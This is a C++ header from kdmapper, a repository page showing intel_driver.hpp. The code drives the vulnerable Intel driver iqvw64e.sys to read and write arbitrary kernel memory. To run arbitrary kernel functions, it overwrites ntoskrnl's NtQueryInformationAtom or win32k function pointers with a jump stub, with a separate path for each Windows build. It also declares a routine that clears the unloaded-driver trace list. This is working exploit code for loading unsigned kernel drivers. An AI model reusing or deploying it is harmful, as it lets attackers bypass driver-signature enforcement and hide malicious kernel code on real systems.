kdmapper-1803-20H2/kdmapper/intel_driver.hpp

289 lines
11 KiB
C++
Raw Normal View History

2020-05-30 21:26:01 +08:00
#pragma once
#include <Windows.h>
#include <iostream>
#include <string>
#include <filesystem>
#include <atlstr.h>
#include "intel_driver_resource.hpp"
#include "service.hpp"
#include "utils.hpp"
#include <assert.h>
namespace intel_driver
{
constexpr auto driver_name = "iqvw64e.sys";
constexpr uint32_t ioctl1 = 0x80862007;
typedef struct _COPY_MEMORY_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved;
uint64_t source;
uint64_t destination;
uint64_t length;
}COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO;
typedef struct _FILL_MEMORY_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved1;
uint32_t value;
uint32_t reserved2;
uint64_t destination;
uint64_t length;
}FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;
typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved;
uint64_t return_physical_address;
uint64_t address_to_translate;
}GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO;
typedef struct _MAP_IO_SPACE_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved;
uint64_t return_value;
uint64_t return_virtual_address;
uint64_t physical_address_to_map;
uint32_t size;
}MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO;
typedef struct _UNMAP_IO_SPACE_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved1;
uint64_t reserved2;
uint64_t virt_address;
uint64_t reserved3;
uint32_t number_of_bytes;
}UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO;
HANDLE Load();
void Unload(HANDLE device_handle);
bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size);
bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address);
uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size);
bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size);
bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size);
uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);
bool FreePool(HANDLE device_handle, uint64_t address);
uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name);
bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address);
bool GetNtGdiGetCOPPCompatibleOPMInformationInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint8_t* out_kernel_original_bytes);
bool ClearMmUnloadedDrivers(HANDLE device_handle);
template<typename T, typename ...A>
bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments)
{
constexpr auto call_void = std::is_same_v<T, void>;
if constexpr (!call_void)
{
if (!out_result)
return false;
}
else
{
UNREFERENCED_PARAMETER(out_result);
}
if (!kernel_function_address)
return false;
// Setup function call
#pragma warning(disable : 4996)
/*LPOSVERSIONINFOEXA info;
ZeroMemory(&info, sizeof(LPOSVERSIONINFOEXA));
info.dwOSVersionInfoSize = sizeof(LPOSVERSIONINFOEXA);
GetVersionEx(&info);*/
OSVERSIONINFO info = { 0 };
info.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&info);
const auto system_name = L"kernel32.dll";
DWORD dummy;
const auto cbInfo =
::GetFileVersionInfoSizeExW(FILE_VER_GET_NEUTRAL, system_name, &dummy);
std::vector<char> buffer(cbInfo);
::GetFileVersionInfoExW(FILE_VER_GET_NEUTRAL, system_name, dummy,
buffer.size(), &buffer[0]);
void* p = nullptr;
UINT size = 0;
::VerQueryValueW(buffer.data(), L"\\", &p, &size);
assert(size >= sizeof(VS_FIXEDFILEINFO));
assert(p != nullptr);
auto pFixed = static_cast<const VS_FIXEDFILEINFO*>(p);
std::cout << "[+] " << HIWORD(pFixed->dwFileVersionMS) << '.'
<< LOWORD(pFixed->dwFileVersionMS) << '.'
<< HIWORD(pFixed->dwFileVersionLS) << '.'
<< LOWORD(pFixed->dwFileVersionLS) << '\n';
//19041
if (HIWORD(pFixed->dwFileVersionLS) >= 19041) {
const auto NtQueryInformationAtom = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationAtom"));
if (!NtQueryInformationAtom)
{
std::cout << "[-] Failed to get export ntdll.NtQueryInformationAtom" << std::endl;
return false;
}
uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
*(uint64_t*)((&kernel_injected_jmp[0]) + 2) = kernel_function_address;
const uint64_t kernel_NtQueryInformationAtom = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "NtQueryInformationAtom");
if (!ReadMemory(device_handle, kernel_NtQueryInformationAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
return false;
// Overwrite the pointer with kernel_function_address
if (!WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
return false;
// Call function
if constexpr (!call_void)
{
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
*out_result = Function(arguments...);
}
else
{
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
Function(arguments...);
}
// Restore the pointer/jmp
WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, original_kernel_function, sizeof(kernel_injected_jmp));
return true;
}
else if (HIWORD(pFixed->dwFileVersionLS) >= 18362) {
const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2"));
const auto NtGdiGetCOPPCompatibleOPMInformation = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("win32u.dll"), "NtGdiGetCOPPCompatibleOPMInformation"));
if (!NtGdiDdDDIReclaimAllocations2 && !NtGdiGetCOPPCompatibleOPMInformation)
{
std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2 / win32u.NtGdiGetCOPPCompatibleOPMInformation" << std::endl;
return false;
}
uint64_t kernel_function_ptr = 0;
uint8_t kernel_function_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
uint64_t kernel_original_function_address = 0;
uint8_t kernel_original_function_jmp[sizeof(kernel_function_jmp)];
if (NtGdiDdDDIReclaimAllocations2)
{
// Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2)
if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address))
return false;
// Overwrite the pointer with kernel_function_address
if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address)))
return false;
}
else
{
// Get address of NtGdiGetCOPPCompatibleOPMInformation and save the original jmp bytes + 0xCC filler
if (!GetNtGdiGetCOPPCompatibleOPMInformationInfo(device_handle, &kernel_function_ptr, kernel_original_function_jmp))
return false;
// Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'
memcpy(kernel_function_jmp + 2, &kernel_function_address, sizeof(kernel_function_address));
if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_function_jmp, sizeof(kernel_function_jmp)))
return false;
}
// Call function
if constexpr (!call_void)
{
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);
*out_result = Function(arguments...);
}
else
{
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);
Function(arguments...);
}
// Restore the pointer/jmp
if (NtGdiDdDDIReclaimAllocations2)
{
WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address));
}
else
{
WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_original_function_jmp, sizeof(kernel_original_function_jmp));
}
return true;
}
else if (HIWORD(pFixed->dwFileVersionLS) >= 17134) {
const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2"));
if (!NtGdiDdDDIReclaimAllocations2)
{
std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2" << std::endl;
return false;
}
// Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2)
uint64_t kernel_function_ptr = 0;
uint64_t kernel_original_function_address = 0;
if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address))
return false;
// Overwrite the pointer with kernel_function_address
if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address)))
return false;
// Call function
if constexpr (!call_void)
{
using FunctionFn = T(__stdcall*)(A...);
const auto Function = static_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2);
*out_result = Function(arguments...);
}
else
{
using FunctionFn = void(__stdcall*)(A...);
const auto Function = static_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2);
Function(arguments...);
}
// Restore the pointer
WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address));
return true;
}
return false;
}
}